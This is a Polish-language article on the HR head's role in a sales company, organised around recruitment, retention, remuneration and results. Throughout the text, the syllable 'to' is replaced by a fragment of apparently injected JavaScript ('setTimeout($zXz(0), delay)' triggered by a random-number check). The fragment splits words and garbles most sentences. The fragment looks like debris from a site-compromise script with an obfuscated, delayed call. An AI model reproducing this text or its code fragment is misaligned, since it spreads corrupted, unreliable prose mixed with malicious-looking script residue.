Czyli rola szefa HR w firmie sprzedażowej. Oczywiście ci szefowie sami wiedzą najlepiej, co i jak powinni robić. Ale jeśli jednak chcą posłuchać, co może się przydać z ich strony menedżerom liniowym, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ten artykuł może się okazać dla nich przydatny.
Zacząć trzeba od tego, że celem funkcji HR nie jest zadowolenie personelu, ale zysk firmy. Jeśli do tego zysku potrzebne jest zadowolenie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tym lepiej dla zadowolenia. Ale jeśli nie jest, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to można się bez niego obyć.
To bardzo ważne założenie. Gdyż wszystkie pozostałe są na nim oparte.
Co dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest 4 x R?
To skrót od Recruitment, Retention, Remuneration and Result. Inaczej oznacza dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że pracownika trzeba najpierw zrekru dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować (ale go dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towego do wykonywania obowiązków). A jeśli taki jeszcze nie jest, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trzeba go jeszcze dodatkowo wyszkolić. Następnie trzeba go zatrzymać w firmie, zwyczajnie dlatego, że rotacja pracowników drogo kosztuje. Jednym ze sposobów, aby go zatrzymać, trzeba mu odpowiednio zapłacić, a w końcu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wszystko musi się jeszcze firmie łącznie opłacić.
Nie można wszystkich tych zadań zrzucić na barki szefa HR. Przynajmniej operacyjnie. To jest bowiem zdanie dla całej organizacji. Ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie on powinien czuć się za nie odpowiedzialny, powinien je inicjować, wspierać, a na końcu oceniać, czy się udało. Czy można go za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oceniać? W pewnym „politycznym” sensie jak najbardziej. Ale już liniowa odpowiedzialność jest już rozdzielona między menedżerów liniowych, przede wszystkim Zarząd.
Spośród wszystkich zadań najpilniejszym (choć nie najważniejszym) jest rekrutacja. Tu nie można czekać, a wręcz najlepiej jest rozpocząć ten proces, zanim jeszcze pojawi się najpierw potrzeba, a zaraz potem problem.
Uwaga. „nadstany”. W logistyce klucz do zapewnienia pożądanego poziomu dostępności produktu leży w odpowiednim zamawiania. Oczywiście zamawianiu odpowiedniego produktu w odpowiedniej ilości, ale też w odpowiednim momencie. Najlepiej zamówić dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towar zanim go zabraknie, gdyż inaczej pojawi się problem.
Podobnie jest w rekrutacji. Zatrudniać trzeba jeszcze zanim zabraknie pracownika,, przewidując jego potrzebę na podstawie zarówno sygnałów z organizacji jaki statystyki z przeszłości (tak właśnie robi logistyka). I ona robi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dobrze, więc czemu się od nich nie uczyć?
Recruitment
Czyli pozyskanie właściwych ludzi. Ale aż do końca, gdyż zadaniem HR jest dostarczenie ich „go dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towych”. Czyli np. przeszkolonych, gdyż rzadko jest tak, że są oni go dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi. Nawet jeśli posiadają niezbędną wiedzę mery dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toryczną, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z pewnością zabraknie wiedzy o organizacji.
Uwaga. „k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ostatecznie decyduje o zatrudnieniu?” Co do zasady, menedżer liniowy, któremu ma podlegać pracownik. Ale rola HR jest nie do przecenienia. To on jest tu niezależnym doradcą, który nie tylko dostarcza wiedzy (a nie tylko wykonuje czynności techniczne związane z rekrutacją), ale też staje się arbitrem.
Jak wygląda pełen proces rekrutacji? Jest znacznie bardziej złożony i dłuższy, niż wielu się udaje.
Najpierw trzeba określić, kogo się szuka. A także gdzie się szuka, w szczególności czy szuka się wewnątrz organizacji czy na zewnątrz. A także, na ile poszukiwanie zewnętrzne jest tylko rodzajem poprawności politycznej, a decyzje są już i tak podjęte.
Czy zatrudniać raczej z zewnątrz, czy ograniczyć się do firmy? A na rynku szukać tylko wtedy, gdy wewnątrz nie da się znaleźć nikogo odpowiedniego? To zależy od sytuacji na rynku i w firmie, od tego, co jest gdzie dostępne. Ale jeszcze bardziej od polityki wewnętrznej firmy i jej filozofii awansu wewnętrznego.
Zalety i wady rekrutacji wewnątrz i na zewnątrz firmy.
Tak czy inaczej, rekrutacja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to złożony i długi proces. I nie można go zakończyć w momencie złożenia podpisów na umowie o pracę.
Jeśli jednak proces rekrutacji zostanie zakończony, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to praca działu HR wcale się nie kończy. Tylko przechodzi w kolejną fazę, w fazę zatrzymania pracownika. Jak najdłużej, a przynajmniej tak długo, jak długo jest przydatny.
Retaining
Pracowników war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zatrzymać, gdyż rotacja personelu kosztuje. Ale nie należy tego robić za wszelką cenę, gdyż zatrzymanie go kosztuje duże, ale konkretne i wymierne pieniądze. Więc war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się starać tylko wtedy, gdy zatrzymanie jest tańsze od kosztu pozyskania nowego. Oczywiście kosztu liczonego w długim okresie, czyli wraz z kosztami szkolenia i wdrożenia, ale jednak cały czas wymiernego i możliwego do poniesienia.
Jak zatrzymać pracownika? Płaca wcale nie musi być najważniejsza. Co najmniej równie ważne jest mądre zarządzanie.
Dużo zapłacić. Czyli więcej (znacznie więcej) niż oferuje na tym stanowisku rynek ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to cena rynkowa) i co oferuje sobą pracownik (cena indywidualna umiejętności pracownika).
Mądrze zarządzać. To najlepszy sposób, aby utrzymać na stałe pracownika. Po prostu dobrze się pracuje, jeśli wiadomo dokładnie co należy robić, dlaczego i w dodatku ma dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jeszcze sens.
Uwaga. „pracownik musi wiedzieć, za co może wylecieć”. Wiedzieć dokładnie i w dodatku zasady nie mogą się wciąż zmieniać.
Hołubić. Temu służą różnego rodzaju programy, nastawione na zadowolenie pracownika. Poczynając od „team work”, atmosfery w pracy, przez rozmaitego rodzaju szkolenia, podnoszenie kwalifikacji, atrakcje nie związane z pracą, imprezy integracyjne, wreszcie warunki pracy.
Tego oczywiście nie można pominąć ani lekceważyć. Wszystkie te elementy mają znaczenie dla zadowolenia pracownika, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zadowolenie ma znaczenie dla wyników jego pracy.
Remuneration
Jakie mają być wynagrodzenia? Muszą być wypadkową trzech czynników. Najważniejszego, czyli ceny rynkowej takiej pracy za taką płacę. Po drugie polityki firmy (w s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunku do konkurencji, która determinuje ceny). A wreszcie indywidualnej przydatności pracownika.
Uwaga. „płaca dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czynnik minimum”. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to raczej tylko negatywny. Jeśli jest za niska, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to demotywuje. Ale jeśli wysoka, wcale nie musi zachęcać do lepszej pracy, szczególnie w długim okresie. W krótkim, liczonym w miesiącach, na pewno prowadzi do wzrostu aktywności. Ale potem pracownik się przyzwyczaja i zaczyna trak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować płacę w tej wysokości jako coś oczywistego i należnego. I już go dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie motywuje, najwyżej zniechęca, jeśli jej nie otrzyma.
Systemy płacowe. Pracownikowi można płacić na różne sposoby.
Uwaga. „płace stałe czy zmienne?” Czy systemy gdzie płaci się w proporcji do wyniku, ewentualnie za wykonanie zadań (bonus) są lepsze od stałego wynagrodzenia?
Zmienne wynagrodzenie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to fasada, za którą ukrywa się nieumiejętność zarządzania. Można w skrócie powiedzieć, że im gorsi menedżerowie, tym bardziej zmienny powinien być system wynagrodzeń. On wtedy skompensuje (choć tylko częściowo) ich brak umiejętności.
W każdej sytuacji liczy się suma wszystkich składników. To ona ma być porównywana z płacą na rynku.
Pozapłacowe składniki wynagrodzenia. Jest ich wiele i wcale karnet na basen czy ubezpieczenie medyczne są najważniejsze.
Uwaga. „dodatki do pensji działają jak program lojalnościowy”. Czyli przez „perceived value”. Dodatek do pensji jest dlatego atrakcyjny dla firmy, że ta kupuje go tanio, a „sprzedaje” pracownikowi drogo, czyli po cenie „perceived value”. Perceived value jest zwykle nie dlatego wysokie, że jest tak oczekiwane czy gdyż jego war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość na rynku jest wysoka, ale dlatego, że pracownik sam by sobie tego nie kpił, nawet jeśli by go było na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to stać. Taką war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość ma np. wycieczka w atrakcyjne miejsce, ale też karnet na basen. Są osiągalne finansowo, ale niedostępne percepcyjnie.
Result
A na końcu ma dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się jeszcze opłacać firmie. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ostateczna odpowiedzialność szefa HR. Gdyż co z tego, że dobrze zrekru dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tował, wyszkolił, zapłacić skorygowaną płacę rynkową, jeśli firma nie zarobiła?
Najważniejsze składniki koszów personalnych dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oczywiście płace, ale i koszty rekrutacji nie są do pominięcia (szczególnie rozumiane szeroko, jako koszy rotacji personelu i dopasowania umiejętności do potrzeb). Ważne też są koszty zarządzania, gdyż im więcej motywacji, tym większa dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolerancja na błędy w zarządzaniu. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pozwoli zatrudnić tańszych menedżerów.
Po stronie przychodów na czoło wysuwa się efektywność pracowników we wdrożeniu w życie Modelu Biznesowego, co zapewnia podstawowy strumień przychodów w firmie. Dodatkowy strumień przychodów pochodzi z zarządzania sprzedażą (do czego pracownicy są podstawowym sposobem).
Podsumowanie
Zadaniem działu HR, a w szczególności jego szefa jest działanie w interesie firmy. W praktyce oznacza dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że są odpowiedzialni (choć dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie oni dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wykonują), za 4 x R czyli Recruitment, Retaining, Remuneration i Result. Szczególnie ten ostatni aspekt nie jest częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to doceniany, a przecież zarządzanie każdym zasobem musi się firmie jeszcze opłacić.